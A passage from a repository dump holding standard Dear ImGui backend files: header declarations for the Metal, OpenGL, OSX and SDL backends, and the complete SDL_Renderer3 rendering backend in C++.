IMGUI_IMPL_API 14 | 15 | //----------------------------------------------------------------------------- 16 | // ObjC API 17 | //----------------------------------------------------------------------------- 18 | 19 | #ifdef __OBJC__ 20 | 21 | @class MTLRenderPassDescriptor; 22 | @protocol MTLDevice, MTLCommandBuffer, MTLRenderCommandEncoder; 23 | 24 | IMGUI_IMPL_API bool ImGui_ImplMetal_Init(id device); 25 | IMGUI_IMPL_API void ImGui_ImplMetal_Shutdown(); 26 | IMGUI_IMPL_API void ImGui_ImplMetal_NewFrame(MTLRenderPassDescriptor* renderPassDescriptor); 27 | IMGUI_IMPL_API void ImGui_ImplMetal_RenderDrawData(ImDrawData* drawData, 28 | id commandBuffer, 29 | id commandEncoder); 30 | 31 | // Called by Init/NewFrame/Shutdown 32 | IMGUI_IMPL_API bool ImGui_ImplMetal_CreateFontsTexture(id device); 33 | IMGUI_IMPL_API void ImGui_ImplMetal_DestroyFontsTexture(); 34 | IMGUI_IMPL_API bool ImGui_ImplMetal_CreateDeviceObjects(id device); 35 | IMGUI_IMPL_API void ImGui_ImplMetal_DestroyDeviceObjects(); 36 | 37 | #endif 38 | 39 | //----------------------------------------------------------------------------- 40 | // C++ API 41 | //----------------------------------------------------------------------------- 42 | 43 | // Enable Metal C++ binding support with '#define IMGUI_IMPL_METAL_CPP' in your imconfig.h file 44 | // More info about using Metal from C++: https://developer.apple.com/metal/cpp/ 45 | 46 | #ifdef IMGUI_IMPL_METAL_CPP 47 | #include 48 | #ifndef __OBJC__ 49 | 50 | IMGUI_IMPL_API bool ImGui_ImplMetal_Init(MTL::Device* device); 51 | IMGUI_IMPL_API void ImGui_ImplMetal_Shutdown(); 52 | IMGUI_IMPL_API void ImGui_ImplMetal_NewFrame(MTL::RenderPassDescriptor* renderPassDescriptor); 53 | IMGUI_IMPL_API void ImGui_ImplMetal_RenderDrawData(ImDrawData* draw_data, 54 | MTL::CommandBuffer* commandBuffer, 55 | MTL::RenderCommandEncoder* commandEncoder); 56 | 57 | // Called by Init/NewFrame/Shutdown 58 | IMGUI_IMPL_API bool ImGui_ImplMetal_CreateFontsTexture(MTL::Device* device); 59 | IMGUI_IMPL_API void ImGui_ImplMetal_DestroyFontsTexture(); 60 | IMGUI_IMPL_API bool ImGui_ImplMetal_CreateDeviceObjects(MTL::Device* device); 61 | IMGUI_IMPL_API void ImGui_ImplMetal_DestroyDeviceObjects(); 62 | 63 | #endif 64 | #endif 65 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_opengl2.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for OpenGL2 (legacy OpenGL, fixed pipeline) 2 | // This needs to be used along with a Platform Backend (e.g. GLFW, SDL, Win32, custom..) 3 | 4 | // Implemented features: 5 | // [X] Renderer: User texture binding. Use 'GLuint' OpenGL texture identifier as void*/ImTextureID. Read the FAQ about ImTextureID! 6 | 7 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 8 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 9 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 10 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 11 | 12 | // **DO NOT USE THIS CODE IF YOUR CODE/ENGINE IS USING MODERN OPENGL (SHADERS, VBO, VAO, etc.)** 13 | // **Prefer using the code in imgui_impl_opengl3.cpp** 14 | // This code is mostly provided as a reference to learn how ImGui integration works, because it is shorter to read. 15 | // If your code is using GL3+ context or any semi modern OpenGL calls, using this is likely to make everything more 16 | // complicated, will require your code to reset every single OpenGL attributes to their initial state, and might 17 | // confuse your GPU driver. 18 | // The GL2 code is unable to reset attributes or even call e.g. "glUseProgram(0)" because they don't exist in that API. 19 | 20 | #pragma once 21 | #include "imgui.h" // IMGUI_IMPL_API 22 | 23 | IMGUI_IMPL_API bool ImGui_ImplOpenGL2_Init(); 24 | IMGUI_IMPL_API void ImGui_ImplOpenGL2_Shutdown(); 25 | IMGUI_IMPL_API void ImGui_ImplOpenGL2_NewFrame(); 26 | IMGUI_IMPL_API void ImGui_ImplOpenGL2_RenderDrawData(ImDrawData* draw_data); 27 | 28 | // Called by Init/NewFrame/Shutdown 29 | IMGUI_IMPL_API bool ImGui_ImplOpenGL2_CreateFontsTexture(); 30 | IMGUI_IMPL_API void ImGui_ImplOpenGL2_DestroyFontsTexture(); 31 | IMGUI_IMPL_API bool ImGui_ImplOpenGL2_CreateDeviceObjects(); 32 | IMGUI_IMPL_API void ImGui_ImplOpenGL2_DestroyDeviceObjects(); 33 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_opengl3.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for modern OpenGL with shaders / programmatic pipeline 2 | // - Desktop GL: 2.x 3.x 4.x 3 | // - Embedded GL: ES 2.0 (WebGL 1.0), ES 3.0 (WebGL 2.0) 4 | // This needs to be used along with a Platform Backend (e.g. GLFW, SDL, Win32, custom..) 5 | 6 | // Implemented features: 7 | // [X] Renderer: User texture binding. Use 'GLuint' OpenGL texture identifier as void*/ImTextureID. Read the FAQ about ImTextureID! 8 | // [x] Renderer: Large meshes support (64k+ vertices) with 16-bit indices (Desktop OpenGL only). 9 | 10 | // About WebGL/ES: 11 | // - You need to '#define IMGUI_IMPL_OPENGL_ES2' or '#define IMGUI_IMPL_OPENGL_ES3' to use WebGL or OpenGL ES. 12 | // - This is done automatically on iOS, Android and Emscripten targets. 13 | // - For other targets, the define needs to be visible from the imgui_impl_opengl3.cpp compilation unit. If unsure, define globally or in imconfig.h. 14 | 15 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 16 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 17 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 18 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 19 | 20 | // About GLSL version: 21 | // The 'glsl_version' initialization parameter should be nullptr (default) or a "#version XXX" string. 22 | // On computer platform the GLSL version default to "#version 130". On OpenGL ES 3 platform it defaults to "#version 300 es" 23 | // Only override if your GL version doesn't handle this GLSL version. See GLSL version table at the top of imgui_impl_opengl3.cpp. 24 | 25 | #pragma once 26 | #include "imgui.h" // IMGUI_IMPL_API 27 | 28 | // Backend API 29 | IMGUI_IMPL_API bool ImGui_ImplOpenGL3_Init(const char* glsl_version = nullptr); 30 | IMGUI_IMPL_API void ImGui_ImplOpenGL3_Shutdown(); 31 | IMGUI_IMPL_API void ImGui_ImplOpenGL3_NewFrame(); 32 | IMGUI_IMPL_API void ImGui_ImplOpenGL3_RenderDrawData(ImDrawData* draw_data); 33 | 34 | // (Optional) Called by Init/NewFrame/Shutdown 35 | IMGUI_IMPL_API bool ImGui_ImplOpenGL3_CreateFontsTexture(); 36 | IMGUI_IMPL_API void ImGui_ImplOpenGL3_DestroyFontsTexture(); 37 | IMGUI_IMPL_API bool ImGui_ImplOpenGL3_CreateDeviceObjects(); 38 | IMGUI_IMPL_API void ImGui_ImplOpenGL3_DestroyDeviceObjects(); 39 | 40 | // Specific OpenGL ES versions 41 | //#define IMGUI_IMPL_OPENGL_ES2 // Auto-detected on Emscripten 42 | //#define IMGUI_IMPL_OPENGL_ES3 // Auto-detected on iOS/Android 43 | 44 | // You can explicitly select GLES2 or GLES3 API by using one of the '#define IMGUI_IMPL_OPENGL_LOADER_XXX' in imconfig.h or compiler command-line. 45 | #if !defined(IMGUI_IMPL_OPENGL_ES2) \ 46 | && !defined(IMGUI_IMPL_OPENGL_ES3) 47 | 48 | // Try to detect GLES on matching platforms 49 | #if defined(__APPLE__) 50 | #include 51 | #endif 52 | #if (defined(__APPLE__) && (TARGET_OS_IOS || TARGET_OS_TV)) || (defined(__ANDROID__)) 53 | #define IMGUI_IMPL_OPENGL_ES3 // iOS, Android -> GL ES 3, "#version 300 es" 54 | #elif defined(__EMSCRIPTEN__) || defined(__amigaos4__) 55 | #define IMGUI_IMPL_OPENGL_ES2 // Emscripten -> GL ES 2, "#version 100" 56 | #else 57 | // Otherwise imgui_impl_opengl3_loader.h will be used. 58 | #endif 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_osx.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Platform Backend for OSX / Cocoa 2 | // This needs to be used along with a Renderer (e.g. OpenGL2, OpenGL3, Vulkan, Metal..) 3 | // - Not well tested. If you want a portable application, prefer using the GLFW or SDL platform Backends on Mac. 4 | // - Requires linking with the GameController framework ("-framework GameController"). 5 | 6 | // Implemented features: 7 | // [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. 8 | // [X] Platform: Mouse support. Can discriminate Mouse/Pen. 9 | // [X] Platform: Keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy kVK_* values will also be supported unless IMGUI_DISABLE_OBSOLETE_KEYIO is set] 10 | // [X] Platform: OSX clipboard is supported within core Dear ImGui (no specific code in this backend). 11 | // [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. 12 | // [X] Platform: IME support. 13 | 14 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 15 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 16 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 17 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 18 | 19 | #include "imgui.h" // IMGUI_IMPL_API 20 | 21 | #ifdef __OBJC__ 22 | 23 | @class NSEvent; 24 | @class NSView; 25 | 26 | IMGUI_IMPL_API bool ImGui_ImplOSX_Init(NSView* _Nonnull view); 27 | IMGUI_IMPL_API void ImGui_ImplOSX_Shutdown(); 28 | IMGUI_IMPL_API void ImGui_ImplOSX_NewFrame(NSView* _Nullable view); 29 | 30 | #endif 31 | 32 | //----------------------------------------------------------------------------- 33 | // C++ API 34 | //----------------------------------------------------------------------------- 35 | 36 | #ifdef IMGUI_IMPL_METAL_CPP_EXTENSIONS 37 | // #include 38 | #ifndef __OBJC__ 39 | 40 | IMGUI_IMPL_API bool ImGui_ImplOSX_Init(void* _Nonnull view); 41 | IMGUI_IMPL_API void ImGui_ImplOSX_Shutdown(); 42 | IMGUI_IMPL_API void ImGui_ImplOSX_NewFrame(void* _Nullable view); 43 | 44 | #endif 45 | #endif 46 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_sdl2.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Platform Backend for SDL2 2 | // This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..) 3 | // (Info: SDL2 is a cross-platform general purpose library for handling windows, inputs, graphics context creation, etc.) 4 | 5 | // Implemented features: 6 | // [X] Platform: Clipboard support. 7 | // [X] Platform: Mouse support. Can discriminate Mouse/TouchScreen. 8 | // [X] Platform: Keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy SDL_SCANCODE_* values will also be supported unless IMGUI_DISABLE_OBSOLETE_KEYIO is set] 9 | // [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. 10 | // [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. 11 | // [X] Platform: Basic IME support. App needs to call 'SDL_SetHint(SDL_HINT_IME_SHOW_UI, "1");' before SDL_CreateWindow()!. 12 | 13 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 14 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 15 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 16 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 17 | 18 | #pragma once 19 | #include "imgui.h" // IMGUI_IMPL_API 20 | 21 | struct SDL_Window; 22 | struct SDL_Renderer; 23 | typedef union SDL_Event SDL_Event; 24 | 25 | IMGUI_IMPL_API bool ImGui_ImplSDL2_InitForOpenGL(SDL_Window* window, void* sdl_gl_context); 26 | IMGUI_IMPL_API bool ImGui_ImplSDL2_InitForVulkan(SDL_Window* window); 27 | IMGUI_IMPL_API bool ImGui_ImplSDL2_InitForD3D(SDL_Window* window); 28 | IMGUI_IMPL_API bool ImGui_ImplSDL2_InitForMetal(SDL_Window* window); 29 | IMGUI_IMPL_API bool ImGui_ImplSDL2_InitForSDLRenderer(SDL_Window* window, SDL_Renderer* renderer); 30 | IMGUI_IMPL_API void ImGui_ImplSDL2_Shutdown(); 31 | IMGUI_IMPL_API void ImGui_ImplSDL2_NewFrame(); 32 | IMGUI_IMPL_API bool ImGui_ImplSDL2_ProcessEvent(const SDL_Event* event); 33 | 34 | #ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS 35 | static inline void ImGui_ImplSDL2_NewFrame(SDL_Window*) { ImGui_ImplSDL2_NewFrame(); } // 1.84: removed unnecessary parameter 36 | #endif 37 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_sdl3.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Platform Backend for SDL3 (*EXPERIMENTAL*) 2 | // This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..) 3 | // (Info: SDL3 is a cross-platform general purpose library for handling windows, inputs, graphics context creation, etc.) 4 | // (IMPORTANT: SDL 3.0.0 is NOT YET RELEASED. IT IS POSSIBLE THAT ITS SPECS/API WILL CHANGE BEFORE RELEASE) 5 | 6 | // Implemented features: 7 | // [X] Platform: Clipboard support. 8 | // [X] Platform: Mouse support. Can discriminate Mouse/TouchScreen. 9 | // [X] Platform: Keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy SDL_SCANCODE_* values will also be supported unless IMGUI_DISABLE_OBSOLETE_KEYIO is set] 10 | // [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. 11 | // [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. 12 | // Missing features: 13 | // [x] Platform: Basic IME support. Position somehow broken in SDL3 + app needs to call 'SDL_SetHint(SDL_HINT_IME_SHOW_UI, "1");' before SDL_CreateWindow()!. 14 | 15 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 16 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 17 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 18 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 19 | 20 | #pragma once 21 | #include "imgui.h" // IMGUI_IMPL_API 22 | 23 | struct SDL_Window; 24 | struct SDL_Renderer; 25 | typedef union SDL_Event SDL_Event; 26 | 27 | IMGUI_IMPL_API bool ImGui_ImplSDL3_InitForOpenGL(SDL_Window* window, void* sdl_gl_context); 28 | IMGUI_IMPL_API bool ImGui_ImplSDL3_InitForVulkan(SDL_Window* window); 29 | IMGUI_IMPL_API bool ImGui_ImplSDL3_InitForD3D(SDL_Window* window); 30 | IMGUI_IMPL_API bool ImGui_ImplSDL3_InitForMetal(SDL_Window* window); 31 | IMGUI_IMPL_API bool ImGui_ImplSDL3_InitForSDLRenderer(SDL_Window* window, SDL_Renderer* renderer); 32 | IMGUI_IMPL_API void ImGui_ImplSDL3_Shutdown(); 33 | IMGUI_IMPL_API void ImGui_ImplSDL3_NewFrame(); 34 | IMGUI_IMPL_API bool ImGui_ImplSDL3_ProcessEvent(const SDL_Event* event); 35 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_sdlrenderer2.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for SDL_Renderer for SDL2 2 | // (Requires: SDL 2.0.17+) 3 | 4 | // Note how SDL_Renderer is an _optional_ component of SDL2. 5 | // For a multi-platform app consider using e.g. SDL+DirectX on Windows and SDL+OpenGL on Linux/OSX. 6 | // If your application will want to render any non trivial amount of graphics other than UI, 7 | // please be aware that SDL_Renderer currently offers a limited graphic API to the end-user and 8 | // it might be difficult to step out of those boundaries. 9 | 10 | // Implemented features: 11 | // [X] Renderer: User texture binding. Use 'SDL_Texture*' as ImTextureID. Read the FAQ about ImTextureID! 12 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 13 | 14 | #pragma once 15 | #include "imgui.h" // IMGUI_IMPL_API 16 | 17 | struct SDL_Renderer; 18 | 19 | IMGUI_IMPL_API bool ImGui_ImplSDLRenderer2_Init(SDL_Renderer* renderer); 20 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer2_Shutdown(); 21 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer2_NewFrame(); 22 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer2_RenderDrawData(ImDrawData* draw_data); 23 | 24 | // Called by Init/NewFrame/Shutdown 25 | IMGUI_IMPL_API bool ImGui_ImplSDLRenderer2_CreateFontsTexture(); 26 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer2_DestroyFontsTexture(); 27 | IMGUI_IMPL_API bool ImGui_ImplSDLRenderer2_CreateDeviceObjects(); 28 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer2_DestroyDeviceObjects(); 29 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_sdlrenderer3.cpp: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for SDL_Renderer for SDL3 2 | // (Requires: SDL 3.0.0+) 3 | 4 | // Note how SDL_Renderer is an _optional_ component of SDL3. 5 | // For a multi-platform app consider using e.g. SDL+DirectX on Windows and SDL+OpenGL on Linux/OSX. 6 | // If your application will want to render any non trivial amount of graphics other than UI, 7 | // please be aware that SDL_Renderer currently offers a limited graphic API to the end-user and 8 | // it might be difficult to step out of those boundaries. 9 | 10 | // Implemented features: 11 | // [X] Renderer: User texture binding. Use 'SDL_Texture*' as ImTextureID. Read the FAQ about ImTextureID! 12 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 13 | 14 | // You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 15 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 16 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 17 | 18 | // CHANGELOG 19 | // 2023-05-30: Initial version. 20 | 21 | #include "imgui.h" 22 | #include "imgui_impl_sdlrenderer3.h" 23 | #if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier 24 | #include // intptr_t 25 | #else 26 | #include // intptr_t 27 | #endif 28 | 29 | // Clang warnings with -Weverything 30 | #if defined(__clang__) 31 | #pragma clang diagnostic push 32 | #pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness 33 | #endif 34 | 35 | // SDL 36 | #include 37 | #if !SDL_VERSION_ATLEAST(3,0,0) 38 | #error This backend requires SDL 3.0.0+ 39 | #endif 40 | 41 | // SDL_Renderer data 42 | struct ImGui_ImplSDLRenderer3_Data 43 | { 44 | SDL_Renderer* SDLRenderer; 45 | SDL_Texture* FontTexture; 46 | ImGui_ImplSDLRenderer3_Data() { memset((void*)this, 0, sizeof(*this)); } 47 | }; 48 | 49 | // Backend data stored in io.BackendRendererUserData to allow support for multiple Dear ImGui contexts 50 | // It is STRONGLY preferred that you use docking branch with multi-viewports (== single Dear ImGui context + multiple windows) instead of multiple Dear ImGui contexts. 51 | static ImGui_ImplSDLRenderer3_Data* ImGui_ImplSDLRenderer3_GetBackendData() 52 | { 53 | return ImGui::GetCurrentContext() ? (ImGui_ImplSDLRenderer3_Data*)ImGui::GetIO().BackendRendererUserData : nullptr; 54 | } 55 | 56 | // Functions 57 | bool ImGui_ImplSDLRenderer3_Init(SDL_Renderer* renderer) 58 | { 59 | ImGuiIO& io = ImGui::GetIO(); 60 | IM_ASSERT(io.BackendRendererUserData == nullptr && "Already initialized a renderer backend!"); 61 | IM_ASSERT(renderer != nullptr && "SDL_Renderer not initialized!"); 62 | 63 | // Setup backend capabilities flags 64 | ImGui_ImplSDLRenderer3_Data* bd = IM_NEW(ImGui_ImplSDLRenderer3_Data)(); 65 | io.BackendRendererUserData = (void*)bd; 66 | io.BackendRendererName = "imgui_impl_sdlrenderer3"; 67 | io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset; // We can honor the ImDrawCmd::VtxOffset field, allowing for large meshes. 68 | 69 | bd->SDLRenderer = renderer; 70 | 71 | return true; 72 | } 73 | 74 | void ImGui_ImplSDLRenderer3_Shutdown() 75 | { 76 | ImGui_ImplSDLRenderer3_Data* bd = ImGui_ImplSDLRenderer3_GetBackendData(); 77 | IM_ASSERT(bd != nullptr && "No renderer backend to shutdown, or already shutdown?"); 78 | ImGuiIO& io = ImGui::GetIO(); 79 | 80 | ImGui_ImplSDLRenderer3_DestroyDeviceObjects(); 81 | 82 | io.BackendRendererName = nullptr; 83 | io.BackendRendererUserData = nullptr; 84 | io.BackendFlags &= ~ImGuiBackendFlags_RendererHasVtxOffset; 85 | IM_DELETE(bd); 86 | } 87 | 88 | static void ImGui_ImplSDLRenderer3_SetupRenderState() 89 | { 90 | ImGui_ImplSDLRenderer3_Data* bd = ImGui_ImplSDLRenderer3_GetBackendData(); 91 | 92 | // Clear out any viewports and cliprect set by the user 93 | // FIXME: Technically speaking there are lots of other things we could backup/setup/restore during our render process. 94 | SDL_SetRenderViewport(bd->SDLRenderer, nullptr); 95 | SDL_SetRenderClipRect(bd->SDLRenderer, nullptr); 96 | } 97 | 98 | void ImGui_ImplSDLRenderer3_NewFrame() 99 | { 100 | ImGui_ImplSDLRenderer3_Data* bd = ImGui_ImplSDLRenderer3_GetBackendData(); 101 | IM_ASSERT(bd != nullptr && "Did you call ImGui_ImplSDLRenderer3_Init()?"); 102 | 103 | if (!bd->FontTexture) 104 | ImGui_ImplSDLRenderer3_CreateDeviceObjects(); 105 | } 106 | 107 | void ImGui_ImplSDLRenderer3_RenderDrawData(ImDrawData* draw_data) 108 | { 109 | ImGui_ImplSDLRenderer3_Data* bd = ImGui_ImplSDLRenderer3_GetBackendData(); 110 | 111 | // If there's a scale factor set by the user, use that instead 112 | // If the user has specified a scale factor to SDL_Renderer already via SDL_RenderSetScale(), SDL will scale whatever we pass 113 | // to SDL_RenderGeometryRaw() by that scale factor. In that case we don't want to be also scaling it ourselves here. 114 | float rsx = 1.0f; 115 | float rsy = 1.0f; 116 | SDL_GetRenderScale(bd->SDLRenderer, &rsx, &rsy); 117 | ImVec2 render_scale; 118 | render_scale.x = (rsx == 1.0f) ? draw_data->FramebufferScale.x : 1.0f; 119 | render_scale.y = (rsy == 1.0f) ? draw_data->FramebufferScale.y : 1.0f; 120 | 121 | // Avoid rendering when minimized, scale coordinates for retina displays (screen coordinates != framebuffer coordinates) 122 | int fb_width = (int)(draw_data->DisplaySize.x * render_scale.x); 123 | int fb_height = (int)(draw_data->DisplaySize.y * render_scale.y); 124 | if (fb_width == 0 || fb_height == 0) 125 | return; 126 | 127 | // Backup SDL_Renderer state that will be modified to restore it afterwards 128 | struct BackupSDLRendererState 129 | { 130 | SDL_Rect Viewport; 131 | bool ClipEnabled; 132 | SDL_Rect ClipRect; 133 | }; 134 | BackupSDLRendererState old = {}; 135 | old.ClipEnabled = SDL_RenderClipEnabled(bd->SDLRenderer) == SDL_TRUE; 136 | SDL_GetRenderViewport(bd->SDLRenderer, &old.Viewport); 137 | SDL_GetRenderClipRect(bd->SDLRenderer, &old.ClipRect); 138 | 139 | // Will project scissor/clipping rectangles into framebuffer space 140 | ImVec2 clip_off = draw_data->DisplayPos; // (0,0) unless using multi-viewports 141 | ImVec2 clip_scale = render_scale; 142 | 143 | // Render command lists 144 | ImGui_ImplSDLRenderer3_SetupRenderState(); 145 | for (int n = 0; n < draw_data->CmdListsCount; n++) 146 | { 147 | const ImDrawList* cmd_list = draw_data->CmdLists[n]; 148 | const ImDrawVert* vtx_buffer = cmd_list->VtxBuffer.Data; 149 | const ImDrawIdx* idx_buffer = cmd_list->IdxBuffer.Data; 150 | 151 | for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) 152 | { 153 | const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i]; 154 | if (pcmd->UserCallback) 155 | { 156 | // User callback, registered via ImDrawList::AddCallback() 157 | // (ImDrawCallback_ResetRenderState is a special callback value used by the user to request the renderer to reset render state.) 158 | if (pcmd->UserCallback == ImDrawCallback_ResetRenderState) 159 | ImGui_ImplSDLRenderer3_SetupRenderState(); 160 | else 161 | pcmd->UserCallback(cmd_list, pcmd); 162 | } 163 | else 164 | { 165 | // Project scissor/clipping rectangles into framebuffer space 166 | ImVec2 clip_min((pcmd->ClipRect.x - clip_off.x) * clip_scale.x, (pcmd->ClipRect.y - clip_off.y) * clip_scale.y); 167 | ImVec2 clip_max((pcmd->ClipRect.z - clip_off.x) * clip_scale.x, (pcmd->ClipRect.w - clip_off.y) * clip_scale.y); 168 | if (clip_min.x < 0.0f) { clip_min.x = 0.0f; } 169 | if (clip_min.y < 0.0f) { clip_min.y = 0.0f; } 170 | if (clip_max.x > (float)fb_width) { clip_max.x = (float)fb_width; } 171 | if (clip_max.y > (float)fb_height) { clip_max.y = (float)fb_height; } 172 | if (clip_max.x <= clip_min.x || clip_max.y <= clip_min.y) 173 | continue; 174 | 175 | SDL_Rect r = { (int)(clip_min.x), (int)(clip_min.y), (int)(clip_max.x - clip_min.x), (int)(clip_max.y - clip_min.y) }; 176 | SDL_SetRenderClipRect(bd->SDLRenderer, &r); 177 | 178 | const float* xy = (const float*)(const void*)((const char*)(vtx_buffer + pcmd->VtxOffset) + IM_OFFSETOF(ImDrawVert, pos)); 179 | const float* uv = (const float*)(const void*)((const char*)(vtx_buffer + pcmd->VtxOffset) + IM_OFFSETOF(ImDrawVert, uv)); 180 | #if SDL_VERSION_ATLEAST(2,0,19) 181 | const SDL_Color* color = (const SDL_Color*)(const void*)((const char*)(vtx_buffer + pcmd->VtxOffset) + IM_OFFSETOF(ImDrawVert, col)); // SDL 2.0.19+ 182 | #else 183 | const int* color = (const int*)(const void*)((const char*)(vtx_buffer + pcmd->VtxOffset) + IM_OFFSETOF(ImDrawVert, col)); // SDL 2.0.17 and 2.0.18 184 | #endif 185 | 186 | // Bind texture, Draw 187 | SDL_Texture* tex = (SDL_Texture*)pcmd->GetTexID(); 188 | SDL_RenderGeometryRaw(bd->SDLRenderer, tex, 189 | xy, (int)sizeof(ImDrawVert), 190 | color, (int)sizeof(ImDrawVert), 191 | uv, (int)sizeof(ImDrawVert), 192 | cmd_list->VtxBuffer.Size - pcmd->VtxOffset, 193 | idx_buffer + pcmd->IdxOffset, pcmd->ElemCount, sizeof(ImDrawIdx)); 194 | } 195 | } 196 | } 197 | 198 | // Restore modified SDL_Renderer state 199 | SDL_SetRenderViewport(bd->SDLRenderer, &old.Viewport); 200 | SDL_SetRenderClipRect(bd->SDLRenderer, old.ClipEnabled ? &old.ClipRect : nullptr); 201 | } 202 | 203 | // Called by Init/NewFrame/Shutdown 204 | bool ImGui_ImplSDLRenderer3_CreateFontsTexture() 205 | { 206 | ImGuiIO& io = ImGui::GetIO(); 207 | ImGui_ImplSDLRenderer3_Data* bd = ImGui_ImplSDLRenderer3_GetBackendData(); 208 | 209 | // Build texture atlas 210 | unsigned char* pixels; 211 | int width, height; 212 | io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); // Load as RGBA 32-bit (75% of the memory is wasted, but default font is so small) because it is more likely to be compatible with user's existing shaders. If your ImTextureId represent a higher-level concept than just a GL texture id, consider calling GetTexDataAsAlpha8() instead to save on GPU memory. 213 | 214 | // Upload texture to graphics system 215 | // (Bilinear sampling is required by default. Set 'io.Fonts->Flags |= ImFontAtlasFlags_NoBakedLines' or 'style.AntiAliasedLinesUseTex = false' to allow point/nearest sampling) 216 | bd->FontTexture = SDL_CreateTexture(bd->SDLRenderer, SDL_PIXELFORMAT_ABGR8888, SDL_TEXTUREACCESS_STATIC, width, height); 217 | if (bd->FontTexture == nullptr) 218 | { 219 | SDL_Log("error creating texture"); 220 | return false; 221 | } 222 | SDL_UpdateTexture(bd->FontTexture, nullptr, pixels, 4 * width); 223 | SDL_SetTextureBlendMode(bd->FontTexture, SDL_BLENDMODE_BLEND); 224 | SDL_SetTextureScaleMode(bd->FontTexture, SDL_SCALEMODE_LINEAR); 225 | 226 | // Store our identifier 227 | io.Fonts->SetTexID((ImTextureID)(intptr_t)bd->FontTexture); 228 | 229 | return true; 230 | } 231 | 232 | void ImGui_ImplSDLRenderer3_DestroyFontsTexture() 233 | { 234 | ImGuiIO& io = ImGui::GetIO(); 235 | ImGui_ImplSDLRenderer3_Data* bd = ImGui_ImplSDLRenderer3_GetBackendData(); 236 | if (bd->FontTexture) 237 | { 238 | io.Fonts->SetTexID(0); 239 | SDL_DestroyTexture(bd->FontTexture); 240 | bd->FontTexture = nullptr; 241 | } 242 | } 243 | 244 | bool ImGui_ImplSDLRenderer3_CreateDeviceObjects() 245 | { 246 | return ImGui_ImplSDLRenderer3_CreateFontsTexture(); 247 | } 248 | 249 | void ImGui_ImplSDLRenderer3_DestroyDeviceObjects() 250 | { 251 | ImGui_ImplSDLRenderer3_DestroyFontsTexture(); 252 | } 253 | 254 